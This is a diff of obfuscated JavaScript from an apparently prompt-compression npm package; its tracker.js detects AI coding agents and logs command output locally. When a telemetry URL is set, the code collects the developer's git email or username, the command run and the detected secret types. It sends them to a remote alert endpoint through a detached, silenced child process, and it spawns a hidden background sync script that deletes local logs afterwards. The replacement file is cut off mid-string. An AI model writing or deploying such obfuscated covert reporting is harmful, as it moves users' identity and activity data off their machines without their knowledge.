_0x443cce=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x223)),_0x16326b=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x1ea));try{if(fs[_0x1dcb58(0x219)](_0x443cce))fs[_0x1dcb58(0x213)](_0x443cce);if(fs[_0x1dcb58(0x219)](_0x16326b))fs[_0x1dcb58(0x213)](_0x16326b);}catch{}}fs[_0x1dcb58(0x1f0)](statsPath,JSON['stringify'](_0x5601c6,null,0x2),_0x1dcb58(0x20f));}}catch{}}runSync()[a0_0x5443b8(0x1ed)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x43d4c3=a0_0x2a25;function a0_0x5cfb(){const _0x412c4f=['962606sFgnZE','userInfo','parse','prototype','Tracker','__setModuleDefault','TRIMPROMPT_MODEL','pop','logsDir','__esModule','CURSOR_AGENT','tool','GPT-4o\x20Mini','high','logExecution','./redactor','ANTIGRAVITY_AGENT','claude-3-5-sonnet','getLogs','claude-sonnet-4-6','writable','claude','sendSecurityAlert','claude-sonnet-4-5','unknown','flash','AIDER_MODEL','VSCODE_PID','split','antigravity','770022nRsLpu','config','includes','sync.js','random','36nxiRfg','length','default','telemetry_url','devin','saveConfig','getStatsSummary','Claude\x20Haiku\x203.5','configPath','Claude\x20Haiku\x204.5','path','.comp.txt','windsurf','gemini-3-1-pro','utf8','name','config.json','Cursor\x20Small','GPT-5.4','replit','claude-code','estimated_compressed_tokens','Claude\x20Fable\x205','/api/security/alert','970OAgAzo','8GsbriH','child_process',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','ignore','OpenAI\x20o1','72142jdfmqi','const\x20h=require(require(\x27url\x27).parse(','GPT-4.1\x20Mini','cursor','stringify','CLINE_DATA_DIR','toFixed','GPT-4.1\x20Nano','145676IwdFMH','.trimprompt','hasOwnProperty','REPL_ID','Claude\x20Sonnet\x204.5','__createBinding','27ytQQnj','mkdirSync','secretsFound','triggerBackgroundSync','timestamp','gemini','tracker','modelShort','writeFileSync','execPath','Gemini\x203.1\x20Flash-Lite','username','COPILOT_GITHUB_TOKEN','existsSync','homedir','spawn','codex','gemini-3-5-flash','toLowerCase','init','baseDir','join','Claude\x20Opus\x204.1\x20(deprecated)','configurable','1.0','default_model','2287373iEsRZA','toString','model','328294hTDCqP','readFileSync','getOwnPropertyNames','aider','ceil','max','create','trim','Gemini\x203.1\x20Pro','15xaJSrN','cline','getConfig','pipe','unref','defineProperty','Gemini\x203.5\x20Live\x20Translate','sonnet','platform','Claude\x20Sonnet\x204.6','CLAUDE_EFFORT','GPT-4o','CLAUDECODE','estimated_raw_tokens','PRICING','logs','COPILOT_MODEL','getOwnPropertyDescriptor','47097cwOaCk','secretTypes','continue','input_price_1m','Claude\x20Opus\x204.5','command','Claude\x20Opus\x204.7','CONTINUE_GLOBAL_DIR','execSync','detectSessionTool','auto','copilot','Claude\x20Mythos\x205','claude_code','call','push','CLAUDE_CODE','Gemini\x203.5\x20Flash','OpenAI\x20o3-mini','opus','Claude\x20Opus\x204.8','saveLogs','statsPath','claude-opus-4-8','git\x20config\x20user.email'];a0_0x5cfb=function(){return _0x412c4f;};return a0_0x5cfb();}(function(_0x17f435,_0x3959fd){const _0x54de9f=a0_0x2a25,_0x322b54=_0x17f435();while(!![]){try{const _0xfed27c=-parseInt(_0x54de9f(0x235))/0x1+-parseInt(_0x54de9f(0x1c9))/0x2+-parseInt(_0x54de9f(0x218))/0x3*(-parseInt(_0x54de9f(0x212))/0x4)+parseInt(_0x54de9f(0x23e))/0x5*(-parseInt(_0x54de9f(0x1e7))/0x6)+-parseInt(_0x54de9f(0x20a))/0x7*(-parseInt(_0x54de9f(0x205))/0x8)+parseInt(_0x54de9f(0x1b0))/0x9*(parseInt(_0x54de9f(0x204))/0xa)+-parseInt(_0x54de9f(0x232))/0xb*(-parseInt(_0x54de9f(0x1ec))/0xc);if(_0xfed27c===_0x3959fd)break;else _0x322b54['push'](_0x322b54['shift']());}catch(_0x32900f){_0x322b54['push'](_0x322b54['shift']());}}}(a0_0x5cfb,0x431d3));var __createBinding=this&&this[a0_0x43d4c3(0x217)]||(Object[a0_0x43d4c3(0x23b)]?function(_0x212175,_0x39d91b,_0x4d53c5,_0x23809b){const _0x2a9ca2=a0_0x43d4c3;if(_0x23809b===undefined)_0x23809b=_0x4d53c5;var _0x1b284c=Object[_0x2a9ca2(0x1af)](_0x39d91b,_0x4d53c5);(!_0x1b284c||('get'in _0x1b284c?!_0x39d91b['__esModule']:_0x1b284c[_0x2a9ca2(0x1dd)]||_0x1b284c[_0x2a9ca2(0x22f)]))&&(_0x1b284c={'enumerable':!![],'get':function(){return _0x39d91b[_0x4d53c5];}}),Object[_0x2a9ca2(0x1a3)](_0x212175,_0x23809b,_0x1b284c);}:function(_0xd253be,_0x5673de,_0x5691a1,_0x37702c){if(_0x37702c===undefined)_0x37702c=_0x5691a1;_0xd253be[_0x37702c]=_0x5673de[_0x5691a1];}),__setModuleDefault=this&&this[a0_0x43d4c3(0x1ce)]||(Object[a0_0x43d4c3(0x23b)]?function(_0x18e947,_0x1f5a6b){const _0x3f7f98=a0_0x43d4c3;Object[_0x3f7f98(0x1a3)](_0x18e947,_0x3f7f98(0x1ee),{'enumerable':!![],'value':_0x1f5a6b});}:function(_0x50190e,_0x2d4197){_0x50190e['default']=_0x2d4197;}),__importStar=this&&this['__importStar']||(function(){var _0x3b5c11=function(_0x22e0dd){const _0x44e937=a0_0x2a25;return _0x3b5c11=Object[_0x44e937(0x237)]||function(_0x4448f5){const _0x564cf3=_0x44e937;var _0x1651b8=[];for(var _0xae4103 in _0x4448f5)if(Object[_0x564cf3(0x1cc)][_0x564cf3(0x214)][_0x564cf3(0x1be)](_0x4448f5,_0xae4103))_0x1651b8[_0x1651b8[_0x564cf3(0x1ed)]]=_0xae4103;return _0x1651b8;},_0x3b5c11(_0x22e0dd);};return function(_0x3e8762){const _0x1fe237=a0_0x2a25;if(_0x3e8762&&_0x3e8762['__esModule'])return _0x3e8762;var _0x522063={};if(_0x3e8762!=null){for(var _0x5488ef=_0x3b5c11(_0x3e8762),_0x4b4262=0x0;_0x4b4262<_0x5488ef[_0x1fe237(0x1ed)];_0x4b4262++)if(_0x5488ef[_0x4b4262]!=='default')__createBinding(_0x522063,_0x3e8762,_0x5488ef[_0x4b4262]);}return __setModuleDefault(_0x522063,_0x3e8762),_0x522063;};}());Object[a0_0x43d4c3(0x1a3)](exports,a0_0x43d4c3(0x1d2),{'value':!![]}),exports[a0_0x43d4c3(0x21e)]=exports['Tracker']=exports[a0_0x43d4c3(0x1ac)]=void 0x0,exports[a0_0x43d4c3(0x1b9)]=detectSessionTool;function a0_0x2a25(_0x1d3c40,_0x519e05){_0x1d3c40=_0x1d3c40-0x1a0;const _0x5cfb73=a0_0x5cfb();let _0x2a25a8=_0x5cfb73[_0x1d3c40];return _0x2a25a8;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x43d4c3(0x1f6))),os=__importStar(require('os')),child_process_1=require(a0_0x43d4c3(0x206));exports[a0_0x43d4c3(0x1ac)]={'claude-fable-5':{'name':a0_0x43d4c3(0x202),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x43d4c3(0x1bc),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x43d4c3(0x1c4),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x43d4c3(0x1b6),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x43d4c3(0x1b4),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x43d4c3(0x22e),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x43d4c3(0x1a7),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x43d4c3(0x216),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x43d4c3(0x1f5),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x43d4c3(0x1f3),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x43d4c3(0x1fe),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x43d4c3(0x1a9),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x43d4c3(0x20c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x43d4c3(0x211),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x43d4c3(0x1d5),'input_price_1m':0.15},'o1':{'name':a0_0x43d4c3(0x209),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x43d4c3(0x1c2),'input_price_1m':1.1},'cursor-small':{'name':a0_0x43d4c3(0x1fd),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x43d4c3(0x23d),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x43d4c3(0x1c1),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x43d4c3(0x222),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x43d4c3(0x1a4),'input_price_1m':3.5}};function detectSessionTool(){const _0x4857a9=a0_0x43d4c3,_0x355ce5=process.env,_0x56c9bd={'tool':'','model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x1cf)]&&exports[_0x4857a9(0x1ac)][_0x355ce5['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x355ce5[_0x4857a9(0x1cf)],'modelShort':''};const _0x29dc02=(_0x355ce5['AI_AGENT']||'')['toLowerCase']();if(_0x29dc02){if(_0x29dc02['includes'](_0x4857a9(0x200))||_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1bd))){const _0x5787b4=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c3):_0x4857a9(0x1a5),_0x16d131=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?'claude-opus-4-8':_0x4857a9(0x1dc);return{'tool':_0x4857a9(0x1de),'model':_0x16d131,'modelShort':_0x5787b4};}if(_0x29dc02['includes'](_0x4857a9(0x20d)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x4857a9(0x1a5)};if(_0x29dc02[_0x4857a9(0x1e9)]('github-copilot')||_0x29dc02[_0x4857a9(0x1e9)]('copilot')){const _0x1951af=_0x355ce5[_0x4857a9(0x1ae)]||'';if(_0x1951af&&exports['PRICING'][_0x1951af])return{'tool':_0x4857a9(0x1bb),'model':_0x1951af,'modelShort':_0x1951af[_0x4857a9(0x1e5)]('-')['pop']()||''};return{'tool':'copilot','model':_0x4857a9(0x1e0),'modelShort':_0x4857a9(0x1a5)};}if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x21d)))return{'tool':_0x4857a9(0x21d),'model':_0x4857a9(0x229),'modelShort':_0x4857a9(0x1e2)};if(_0x29dc02['includes'](_0x4857a9(0x228)))return{'tool':_0x4857a9(0x228),'model':'o3-mini','modelShort':'o3mini'};if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1f0)))return{'tool':_0x4857a9(0x1f0),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1e6)))return{'tool':_0x4857a9(0x1e6),'model':_0x4857a9(0x1f9),'modelShort':'gemini'};if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1ff))||_0x355ce5[_0x4857a9(0x215)])return{'tool':_0x4857a9(0x1ff),'model':_0x4857a9(0x1dc),'modelShort':''};return{'tool':_0x29dc02[_0x4857a9(0x1e5)]('_')[0x0][_0x4857a9(0x1e5)]('-')[0x0],'model':_0x4857a9(0x1dc),'modelShort':''};}if(_0x355ce5[_0x4857a9(0x1aa)]==='1'||_0x355ce5[_0x4857a9(0x1c0)]==='1'){const _0x4bdb92=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c3):_0x4857a9(0x1a5),_0x56694a=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c7):'claude-sonnet-4-6';return{'tool':_0x4857a9(0x1de),'model':_0x56694a,'modelShort':_0x4bdb92};}if(_0x355ce5[_0x4857a9(0x1d3)]==='1')return{'tool':'cursor','model':_0x4857a9(0x1dc),'modelShort':_0x4857a9(0x1a5)};if(_0x355ce5['GEMINI_CLI']==='1')return{'tool':_0x4857a9(0x21d),'model':_0x4857a9(0x229),'modelShort':_0x4857a9(0x1e2)};if(_0x355ce5[_0x4857a9(0x1ae)]||_0x355ce5[_0x4857a9(0x224)]){const _0x1e8cd0=_0x355ce5[_0x4857a9(0x1ae)]||'';if(_0x1e8cd0&&exports['PRICING'][_0x1e8cd0])return{'tool':_0x4857a9(0x1bb),'model':_0x1e8cd0,'modelShort':_0x1e8cd0['split']('-')[_0x4857a9(0x1d0)]()||''};return{'tool':_0x4857a9(0x1bb),'model':'claude-sonnet-4-5','modelShort':'sonnet'};}if(_0x355ce5[_0x4857a9(0x215)]||_0x355ce5['REPLIT_ENVIRONMENT'])return{'tool':_0x4857a9(0x1ff),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x20f)])return{'tool':_0x4857a9(0x23f),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x1b7)])return{'tool':_0x4857a9(0x1b2),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x1d9)]==='1')return{'tool':_0x4857a9(0x1e6),'model':'gemini-3-1-pro','modelShort':_0x4857a9(0x21d)};if(_0x355ce5[_0x4857a9(0x1a8)]){const _0x514373=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c3):_0x4857a9(0x1a5),_0x292df2=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c7):_0x4857a9(0x1dc);return{'tool':'','model':_0x292df2,'modelShort':''};}if(_0x355ce5[_0x4857a9(0x1e3)]&&exports['PRICING'][_0x355ce5[_0x4857a9(0x1e3)]])return{'tool':_0x4857a9(0x238),'model':_0x355ce5[_0x4857a9(0x1e3)],'modelShort':''};if(_0x355ce5[_0x4857a9(0x1e4)]){const _0x2613f3=(_0x355ce5['PATH']||'')[_0x4857a9(0x22a)]();if(_0x2613f3['includes'](_0x4857a9(0x20d)))return{'tool':_0x4857a9(0x20d),'model':_0x4857a9(0x1dc),'modelShort':_0x4857a9(0x1a5)};if(_0x2613f3['includes'](_0x4857a9(0x1f8)))return{'tool':_0x4857a9(0x1f8),'model':_0x4857a9(0x1dc),'modelShort':_0x4857a9(0x1a5)};}const _0x57fe27=process.env.TRIMPROMPT_MODEL||'';if(_0x57fe27&&exports['PRICING'][_0x57fe27])return{'tool':'','model':_0x57fe27,'modelShort':''};return _0x56c9bd;}class Tracker{['baseDir'];['configPath'];[a0_0x43d4c3(0x1c6)];[a0_0x43d4c3(0x1d1)];['config'];constructor(){const _0x31204d=a0_0x43d4c3;this['baseDir']=path[_0x31204d(0x22d)](os[_0x31204d(0x226)](),_0x31204d(0x213)),this[_0x31204d(0x1f4)]=path[_0x31204d(0x22d)](this[_0x31204d(0x22c)],_0x31204d(0x1fc)),this[_0x31204d(0x1c6)]=path['join'](this[_0x31204d(0x22c)],'stats.json'),this[_0x31204d(0x1d1)]=path[_0x31204d(0x22d)](this['baseDir'],_0x31204d(0x1ad)),this[_0x31204d(0x22b)]();}[a0_0x43d4c3(0x22b)](){const _0x31f31b=a0_0x43d4c3;!fs[_0x31f31b(0x225)](this[_0x31f31b(0x22c)])&&fs[_0x31f31b(0x219)](this[_0x31f31b(0x22c)],{'recursive':!![]});!fs[_0x31f31b(0x225)](this[_0x31f31b(0x1d1)])&&fs['mkdirSync'](this[_0x31f31b(0x1d1)],{'recursive':!![]});const _0x101253={'version':_0x31f31b(0x230),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x31f31b(0x1c7)};if(fs[_0x31f31b(0x225)](this[_0x31f31b(0x1f4)]))try{const _0x5d5514=fs[_0x31f31b(0x236)](this[_0x31f31b(0x1f4)],_0x31f31b(0x1fa));this[_0x31f31b(0x1e8)]={..._0x101253,...JSON[_0x31f31b(0x1cb)](_0x5d5514)};}catch(_0x365fd0){this['config']=_0x101253;}else this[_0x31f31b(0x1e8)]=_0x101253,this[_0x31f31b(0x1f1)]();!fs[_0x31f31b(0x225)](this[_0x31f31b(0x1c6)])&&fs[_0x31f31b(0x220)](this['statsPath'],JSON[_0x31f31b(0x20e)]([]),_0x31f31b(0x1fa));}[a0_0x43d4c3(0x1a0)](){const _0x5e32b8=a0_0x43d4c3;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x5e32b8(0x1e8)][_0x5e32b8(0x1ef)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x5e32b8(0x1e8)];}['setConfig'](_0x3af589,_0x3b18c7){const _0x143923=a0_0x43d4c3;this[_0x143923(0x1e8)][_0x3af589]=_0x3b18c7,this[_0x143923(0x1f1)]();}['saveConfig'](){const _0x4a26e7=a0_0x43d4c3;fs[_0x4a26e7(0x220)](this[_0x4a26e7(0x1f4)],JSON[_0x4a26e7(0x20e)](this[_0x4a26e7(0x1e8)],null,0x2),'utf8');}[a0_0x43d4c3(0x1db)](){const _0x4e45a0=a0_0x43d4c3;try{if(!fs[_0x4e45a0(0x225)](this[_0x4e45a0(0x1c6)]))return[];const _0x32700a=fs[_0x4e45a0(0x236)](this[_0x4e45a0(0x1c6)],_0x4e45a0(0x1fa));return JSON[_0x4e45a0(0x1cb)](_0x32700a);}catch{return[];}}['saveLogs'](_0x54083f){const _0x2539ab=a0_0x43d4c3;fs[_0x2539ab(0x220)](this[_0x2539ab(0x1c6)],JSON[_0x2539ab(0x20e)](_0x54083f,null,0x2),_0x2539ab(0x1fa));}[a0_0x43d4c3(0x1d7)](_0xa3be7e,_0x5129fd,_0x24f5dc,_0x1347b4,_0x35b1c0,_0x310f1a){const _0x319d88=a0_0x43d4c3,_0x33371c=this['getLogs'](),_0x4f8ca4=_0x5129fd['length'],_0x47b10a=_0x24f5dc[_0x319d88(0x1ed)],_0x5280b7=Math['ceil'](_0x4f8ca4/0x4),_0x13e656=Math[_0x319d88(0x239)](_0x47b10a/0x4),_0x32455b=Math[_0x319d88(0x23a)](0x0,_0x5280b7-_0x13e656),_0x377d7e=detectSessionTool(),_0x814b24=_0x377d7e[_0x319d88(0x234)],_0x3dc6db=Math[_0x319d88(0x1eb)]()[_0x319d88(0x233)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x37a4a1}=require(_0x319d88(0x1d8)),_0x1ac0a9=_0x37a4a1?_0x37a4a1['redact'](_0x5129fd):_0x5129fd;fs[_0x319d88(0x220)](path['join'](this[_0x319d88(0x1d1)],_0x3dc6db+'.raw.txt'),_0x1ac0a9,_0x319d88(0x1fa)),fs[_0x319d88(0x220)](path[_0x319d88(0x22d)](this[_0x319d88(0x1d1)],_0x3dc6db+_0x319d88(0x1f7)),_0x24f5dc,'utf8');}catch{}const _0x1a6a1c=_0xa3be7e[_0x319d88(0x1e5)]('\x20')[0x0]||_0x319d88(0x1e1),_0x5bf981=_0x377d7e[_0x319d88(0x1d4)]?_0x377d7e[_0x319d88(0x21f)]?_0x377d7e[_0x319d88(0x1d4)]+'-'+_0x377d7e[_0x319d88(0x21f)]+'-'+_0x1a6a1c:_0x377d7e[_0x319d88(0x1d4)]+'-'+_0x1a6a1c:_0x1a6a1c,_0x13297f={'id':_0x3dc6db,'timestamp':new Date()['toISOString'](),'command':_0x5bf981,'raw_chars':_0x4f8ca4,'compressed_chars':_0x47b10a,'estimated_raw_tokens':_0x5280b7,'estimated_compressed_tokens':_0x13e656,'tokens_saved':_0x32455b,'model_used':_0x814b24,'exit_code':_0x1347b4,'synced':![],'ai_detected':!!_0x377d7e[_0x319d88(0x1d4)],'secrets_found':_0x35b1c0?.[_0x319d88(0x21a)]||0x0,'secret_types':_0x35b1c0?.[_0x319d88(0x1b1)]||[],'features':_0x310f1a||[]};_0x33371c[_0x319d88(0x1bf)](_0x13297f),this[_0x319d88(0x1c5)](_0x33371c);const _0x235cd1=this[_0x319d88(0x1a0)]()['telemetry_url'];return _0x235cd1&&_0x235cd1[_0x319d88(0x23c)]()[_0x319d88(0x1ed)]>0x0&&this[_0x319d88(0x21b)](),_0x35b1c0&&_0x35b1c0['secretsFound']>0x0&&this[_0x319d88(0x1df)](_0x13297f,_0x35b1c0),_0x13297f;}['sendSecurityAlert'](_0xe69b8a,_0x546c47){const _0x17cd9c=a0_0x43d4c3;try{let _0x528027=this[_0x17cd9c(0x1a0)]()['telemetry_url']||'';if(!_0x528027)return;_0x528027=_0x528027['replace'](/\/api\/telemetry\/?$/,_0x17cd9c(0x203));if(!_0x528027['includes'](_0x17cd9c(0x203)))_0x528027+=_0x17cd9c(0x203);const {execSync:_0x39f731}=require(_0x17cd9c(0x206));let _0x5258ab='unknown';try{_0x5258ab=require(_0x17cd9c(0x206))[_0x17cd9c(0x1b8)](_0x17cd9c(0x1c8),{'stdio':['ignore',_0x17cd9c(0x1a1),_0x17cd9c(0x208)]})['toString']()[_0x17cd9c(0x23c)]();}catch{}if(!_0x5258ab||!_0x5258ab[_0x17cd9c(0x1e9)]('@'))try{_0x5258ab=require('os')[_0x17cd9c(0x1ca)]()[_0x17cd9c(0x223)];}catch{}const _0x430cc7=JSON['stringify']({'developer_id':_0x5258ab,'timestamp':_0xe69b8a[_0x17cd9c(0x21c)],'command':_0xe69b8a[_0x17cd9c(0x1b5)],'secrets_found':_0x546c47[_0x17cd9c(0x21a)],'secret_types':_0x546c47[_0x17cd9c(0x1b1)],'os':require('os')[_0x17cd9c(0x1a6)]()}),_0xeb880a=_0x17cd9c(0x20b)+JSON['stringify'](_0x528027)+').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request('+JSON['stringify'](_0x528027)+_0x17cd9c(0x207)+JSON['stringify'](_0x430cc7)+')',_0x2718df=(0x0,child_process_1[_0x17cd9c(0x227)])(process['execPath'],['-e',_0xeb880a],{'detached':!![],'stdio':_0x17cd9c(0x208)});_0x2718df[_0x17cd9c(0x1a2)]();}catch{}}[a0_0x43d4c3(0x21b)](){const _0x404f15=a0_0x43d4c3;try{const _0xd42cfb=path[_0x404f15(0x22d)](__dirname,_0x404f15(0x1ea));if(fs[_0x404f15(0x225)](_0xd42cfb)){const _0x47306d=(0x0,child_process_1['spawn'])(process[_0x404f15(0x221)],[_0xd42cfb],{'detached':!![],'stdio':'ignore'});_0x47306d[_0x404f15(0x1a2)]();}}catch{}}[a0_0x43d4c3(0x1f2)](_0x2359f5=a0_0x43d4c3(0x1ba)){const _0x3bef35=a0_0x43d4c3,_0x18a077=this['getLogs']();let _0x457ea3=0x0,_0x2ac22c=0x0,_0x4f753a=0x0;for(const _0x53b881 of _0x18a077){_0x457ea3+=_0x53b881[_0x3bef35(0x1ab)],_0x2ac22c+=_0x53b881[_0x3bef35(0x201)],_0x4f753a+=_0x53b881['tokens_saved'];}let _0xf448fd=_0x2359f5;(!_0xf448fd||_0xf448fd===_0x3bef35(0x1ba)||!exports[_0x3bef35(0x1ac)][_0xf448fd])&&(_0x18a077[_0x3bef35(0x1ed)]>0x0&&_0x18a077[_0x18a077[_0x3bef35(0x1ed)]-0x1]['model_used']?_0xf448fd=_0x18a077[_0x18a077[_0x3bef35(0x1ed)]-0x1]['model_used']:_0xf448fd=this[_0x3bef35(0x1a0)]()[_0x3bef35(0x231)]||_0x3bef35(0x1da));const _0x1fc50d=exports[_0x3bef35(0x1ac)][_0xf448fd]||exports['PRICING'][_0x3bef35(0x1da)],_0x4a50b4=_0x4f753a*_0x1fc50d[_0x3bef35(0x1b3)]/0xf4240,_0x2c0f80=_0x457ea3*_0x1fc50d[_0x3bef35(0x1b3)]/0xf4240,_0x9fb868=_0x2ac22c*_0x1fc50d[_0x3bef35(0x1b3)]/0xf4240,_0x4626d1=_0x457ea3>0x0?_0x4f753a/_0x457ea3*0x64:0x0;return{'total_raw_tokens':_0x457ea3,'total_compressed_tokens':_0x2ac22c,'total_tokens_saved':_0x4f753a,'savings_percentage':parseFloat(_0x4626d1['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x4a50b4[_0x3bef35(0x210)](0x4)),'raw_cost_usd':parseFloat(_0x2c0f80[_0x3bef35(0x210)](0x4)),'compressed_cost_usd':parseFloat(_0x9fb868[_0x3bef35(0x210)](0x4)),'model_name':_0x1fc50d[_0x3bef35(0x1fb)],'model_key':_0xf448fd};}}exports[a0_0x43d4c3(0x1cd)]=Tracker,exports[a0_0x43d4c3(0x21e)]=new Tracker();
1
+ 'use strict';const a0_0x250746=a0_0x1b49;(function(_0x531b24,_0x48c298){const _0x1196bb=a0_0x1b49,_0x3b2f07=_0x531b24();while(!![]){try{const _0x2e9ed3=parseInt(_0x1196bb(0x1c8))/0x1+-parseInt(_0x1196bb(0x199))/0x2*(-parseInt(_0x1196bb(0x19c))/0x3)+-parseInt(_0x1196bb(0x1a3))/0x4*(parseInt(_0x1196bb(0x217))/0x5)+-parseInt(_0x1196bb(0x20a))/0x6+parseInt(_0x1196bb(0x1db))/0x7*(parseInt(_0x1196bb(0x1b7))/0x8)+parseInt(_0x1196bb(0x209))/0x9+parseInt(_0x1196bb(0x1f2))/0xa;if(_0x2e9ed3===_0x48c298)break;else _0x3b2f07['push'](_0x3b2f07['shift']());}catch(_0x906306){_0x3b2f07['push'](_0x3b2f07['shift']());}}}(a0_0x5aa1,0x2d1dd));var __createBinding=this&&this[a0_0x250746(0x1c7)]||(Object[a0_0x250746(0x214)]?function(_0x2c963c,_0x110600,_0x5d24f5,_0x1fc70b){const _0xcadf24=a0_0x250746;if(_0x1fc70b===undefined)_0x1fc70b=_0x5d24f5;var _0x3d8390=Object[_0xcadf24(0x1f0)](_0x110600,_0x5d24f5);(!_0x3d8390||(_0xcadf24(0x1d4)in _0x3d8390?!_0x110600[_0xcadf24(0x1b9)]:_0x3d8390['writable']||_0x3d8390[_0xcadf24(0x202)]))&&(_0x3d8390={'enumerable':!![],'get':function(){return _0x110600[_0x5d24f5];}}),Object[_0xcadf24(0x1cc)](_0x2c963c,_0x1fc70b,_0x3d8390);}:function(_0x25c7cb,_0x40f55f,_0x133d18,_0x198304){if(_0x198304===undefined)_0x198304=_0x133d18;_0x25c7cb[_0x198304]=_0x40f55f[_0x133d18];}),__setModuleDefault=this&&this[a0_0x250746(0x1b3)]||(Object[a0_0x250746(0x214)]?function(_0x1b539c,_0x202e59){const _0x47bd37=a0_0x250746;Object[_0x47bd37(0x1cc)](_0x1b539c,_0x47bd37(0x1d6),{'enumerable':!![],'value':_0x202e59});}:function(_0x1bc39c,_0xd5f52f){_0x1bc39c['default']=_0xd5f52f;}),__importStar=this&&this[a0_0x250746(0x1b0)]||(function(){var _0x5c1851=function(_0x37c2a8){const _0x3e52d9=a0_0x1b49;return _0x5c1851=Object[_0x3e52d9(0x18a)]||function(_0x590a26){const _0x3a2137=_0x3e52d9;var _0x57e540=[];for(var _0x3b16de in _0x590a26)if(Object['prototype'][_0x3a2137(0x1c6)]['call'](_0x590a26,_0x3b16de))_0x57e540[_0x57e540[_0x3a2137(0x1f5)]]=_0x3b16de;return _0x57e540;},_0x5c1851(_0x37c2a8);};return function(_0x48f2c9){const _0xad9b5f=a0_0x1b49;if(_0x48f2c9&&_0x48f2c9['__esModule'])return _0x48f2c9;var _0x51894a={};if(_0x48f2c9!=null){for(var _0x20aa21=_0x5c1851(_0x48f2c9),_0x147430=0x0;_0x147430<_0x20aa21['length'];_0x147430++)if(_0x20aa21[_0x147430]!==_0xad9b5f(0x1d6))__createBinding(_0x51894a,_0x48f2c9,_0x20aa21[_0x147430]);}return __setModuleDefault(_0x51894a,_0x48f2c9),_0x51894a;};}());function a0_0x5aa1(){const _0x354ace=['404146xaXJSw','aider','utf8','3dWMtOD','saveConfig','OpenAI\x20o1','writeFileSync','sync.js','OpenAI\x20o1-mini','TRIMPROMPT_MODEL','44QHXABD','Claude\x20Sonnet\x204.6','CLAUDE_EFFORT','redact','VSCODE_PID','isArray','/api/security/alert','GPT-4o','tokens_saved','username','Claude\x20Sonnet\x204.5','CURSOR_AGENT','GPT-4.1\x20Mini','__importStar','flash','CONTINUE_GLOBAL_DIR','__setModuleDefault','stringify','getLogs','Claude\x20Haiku\x204.5','48GgsWwe','claude-sonnet-4-6','__esModule','toLowerCase',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','OpenAI\x20o3-mini','Claude\x20Opus\x204.1\x20(deprecated)','default_model','config','mkdirSync','gemini','parse','statsPath','./redactor','existsSync','hasOwnProperty','__createBinding','297489QQKzRA','Claude\x20Haiku\x203.5','getStatsSummary','codex','defineProperty','gemini-3-1-pro','Claude\x20Mythos\x205','secretTypes','model_used','.comp.txt','Tracker','logs','get','execPath','default','antigravity','ceil','GPT-5.5','platform','27447vGBxZQ','claude-sonnet-4-5','AI_AGENT','estimated_raw_tokens','config.json','GPT-4o\x20Mini','REPL_